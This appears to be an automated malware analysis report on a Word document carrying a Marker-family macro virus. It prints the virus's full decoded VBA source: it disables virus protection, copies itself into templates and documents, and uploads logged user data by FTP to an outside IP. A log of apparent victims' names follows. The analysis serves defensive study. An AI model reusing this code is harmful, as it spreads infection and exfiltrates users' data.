Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 118c375bbc5d5d88…

MALICIOUS

Office (OLE)

51.0 KB Created: 2014-03-24 03:39:00 Authoring application: Microsoft Office Word First seen: 2015-09-22
MD5: 609a7903022fac5236a08c7ca586e320 SHA-1: 0bacd6fedc30fb87002f247054cb42ff55d0dcdd SHA-256: 118c375bbc5d5d88e6fc3ffb7b864d4e4fa539a56ff1ede4aa83991c59c32379
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1071.001 Web Protocols

The sample contains malicious VBA macros that attempt to disable virus protection and replicate themselves across documents and templates. The script also attempts to write to a file path 'C:\hsf*.sys' and potentially download or execute content from '209.201.88.110' via 'c:\netldx.vxd'. The document body itself is a fabricated equipment purchase request, likely a lure to distract from the malicious activity.

Heuristics 4

  • ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-31
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7564 bytes
SHA-256: 6df0086c5ec4f35f98de09b16f8664713cac76851db231c46bc791607fbf6d16
Detection
ClamAV: Doc.Trojan.Marker-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)


'Switch the VirusProtection OFF
Options.VirusProtection = False


  If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
  
    If DocumentInfected = True Then
      LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
    ElseIf NormalTemplateInfected = True Then
      LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    End If
    
    LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
    
    For i = 1 To 4
      LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
    Next i
    LogFile = "C:\hsf" & LogFile & ".sys"
    
    Open LogFile For Output As #1
    Print #1, LogData
    Close #1
    
    Open "c:\netldx.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "ascii"
    Print #1, "put " & LogFile
    Print #1, "quit"
    Close #1
    
    Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
    
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
    
  End If


'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
   
   
  'Infect the NormalTemplate
  If DocumentInfected = True Then
  
    SaveNormalTemplate = NormalTemplate.Saved
  
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)

    
    'Write a log file of this NormalTemplate infection
    For i = 1 To Len(Application.UserAddress)
      If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
        If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
          UserAddress = UserAddress & Mid(Application.UserAddress, i, 1)
        End If
      Else
        UserAddress = UserAddress & Chr(13) & "' "
      End If
    Next i

    OurCode = OurCode & Chr(13) & _
              "' " & Format(Time, "hh:mm:ss AMPM - ") & _
                     Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
              "' " & Application.UserName & Chr(13) & _
              "' " & UserAddress & Chr(13)


    nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
    nt.CodeModule.AddFromString OurCode
    
    If SaveNormalTemplate = True Then NormalTemplate.Save
    
  End If


  'Infect the ActiveDocument
  If NormalTemplateInfected = True And _
     (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
     ActiveDocument.Saved = False) Then
  
    SaveDocument = ActiveDocument.Saved
    
    OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)

    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString OurCode
    
    If SaveDocument = True Then ActiveDocument.Save
      
  End If
  
    
End If

End Sub

' Logfile -->

' 09:08:36  - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'



' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'



' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'



' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'



' 03:07:26 PM - Tuesday, 22 Dec 1998
' BCBSA
'



' 03:28:02 PM - Wednesday, 6 Jan 1999
' BCBSA
'



' 02:59:47 PM - Monday, 11 Jan 1999
' Marsha Veach
'



' 01:54:54 PM - Wednesday, 20 Jan 1999
' Connie Sandifer, CMP
'



' 09:33:06 PM - Monday, 25 Jan 1999
' Doug Rowan
'



' 08:21:12 AM - Wednesday, 27 Jan 1999
' IMSI
'



' 10:59:58 AM - Friday, 29 Jan 1999
' Raj
'



' 03:37:57 PM - Saturday, 30 Jan 1999
' hornd
'



' 01:26:48 PM - Tuesday, 2 Feb 1999
' Cooley Godward
'



' 04:57:29 PM - Tuesday, 2 Feb 1999
' Cooley Godward
'



' 06:35:44 PM - Tuesday, 2 Feb 1999
' Cooley Godward
'



' 04:23:52 PM - Thursday, 4 Feb 1999
' Cooley Godward
'



' 04:27:39 PM - Saturday, 6 Feb 1999
' Cooley Godward
'



' 06:18:06 PM - Monday, 8 Feb 1999
' Cooley Godward
'



' 09:17:17 PM - Tuesday, 9 Feb 1999
' hclee
'



' 04:44:45 PM - Wednesday, 17 Feb 1999
' Dr. W. Hsiao
'                   Wendy Hsiao, Ph.D.



' 04:13:19 PM - Tuesday, 23 Feb 1999
' CCST
'



' 10:09:35 AM - Saturday, 20 Mar 1999
' cpwu
'



' 09:33:49 AM - Thursday, 6 May 1999
' 柳建华
'



' 12:39:25 PM - Tuesday, 20 May 1997
' ghc-bbc
'



' 01:21:36 PM - Friday, 7 May 1999
' 李晋闽
'



' 05:51:53  - Wednesday, 12 May 1999
' qdzhuang
'



' 03:23:04 PM - Saturday, 19 Jun 1999
' 李晋闽
'



' 02:53:46 下午 - Tuesday, 6 Sep 2011
' 李晋闽
'



' 09:37:47 上午 - Monday, 19 Sep 2011
' 张士力
'



' 01:41:54 下午 - Monday, 26 Sep 2011
' unknown
'



' 10:50:02 上午 - Wednesday, 19 Oct 2011
' 祝昊泉
'



' 08:27:05 上午 - Wednesday, 26 Oct 2011
' 迟文倩
'



' 10:37:36 上午 - Monday, 31 Oct 2011
' 蒋运枫
'



' 04:21:38 下午 - Monday, 31 Oct 2011
' 李彩梅
'



' 08:15:53 上午 - Wednesday, 2 Nov 2011
' 张会芳
'



' 03:51:55 下午 - Friday, 4 Nov 2011
' 刘冬红
'



' 11:58:54 上午 - Friday, 11 Nov 2011
' 陈平平
'



' 02:28:09 下午 - Monday, 21 Nov 2011
' 尚纳新
'



' 05:13:09 下午 - Monday, 21 Nov 2011
' unknown
'



' 08:39:21 上午 - Tuesday, 22 Nov 2011
' 董伟锋
'



' 10:14:28 上午 - Wednesday, 23 Nov 2011
' unknown
'



' 04:12:58 下午 - Tuesday, 28 Feb 2012
' walkinnet
'



' 03:48:11 下午 - Tuesday, 10 Apr 2012
' lenovohdiu
'



' 09:45:37 上午 - Friday, 4 May 2012
' 时根火
'



' 03:54:04 下午 - Thursday, 10 May 2012
' 谢晋
'



' 10:23:10 上午 - Tuesday, 15 May 2012
' 熊磊
'



' 08:02:01 上午 - Monday, 21 May 2012
' 李伟
'



' 04:11:09 下午 - Thursday, 24 May 2012
' 龚敏
'



' 09:06:57 上午 - Thursday, 14 Jun 2012
' Administrator
'



' 09:37:12 上午 - Saturday, 16 Jun 2012
' cx
'



' 02:13:35 下午 - Wednesday, 20 Jun 2012
' 婕旂ず浜
'



' 10:32:05 上午 - Tuesday, 26 Jun 2012
' 婕旂ず浜
'



' 10:56:31 上午 - Monday, 2 Jul 2012
' 婕旂ず浜?
'



' 10:41:08 上午 - Tuesday, 24 Jul 2012
' 婕旂ず浜?
'



' 09:11:40 上午 - Monday, 30 Jul 2012
' 婕旂ず浜
'



' 10:14:12 上午 - Thursday, 7 Feb 2013
' 婕旂ず浜
'



' 05:13:25 下午 - Friday, 31 May 2013
' 婕旂ず浜
'

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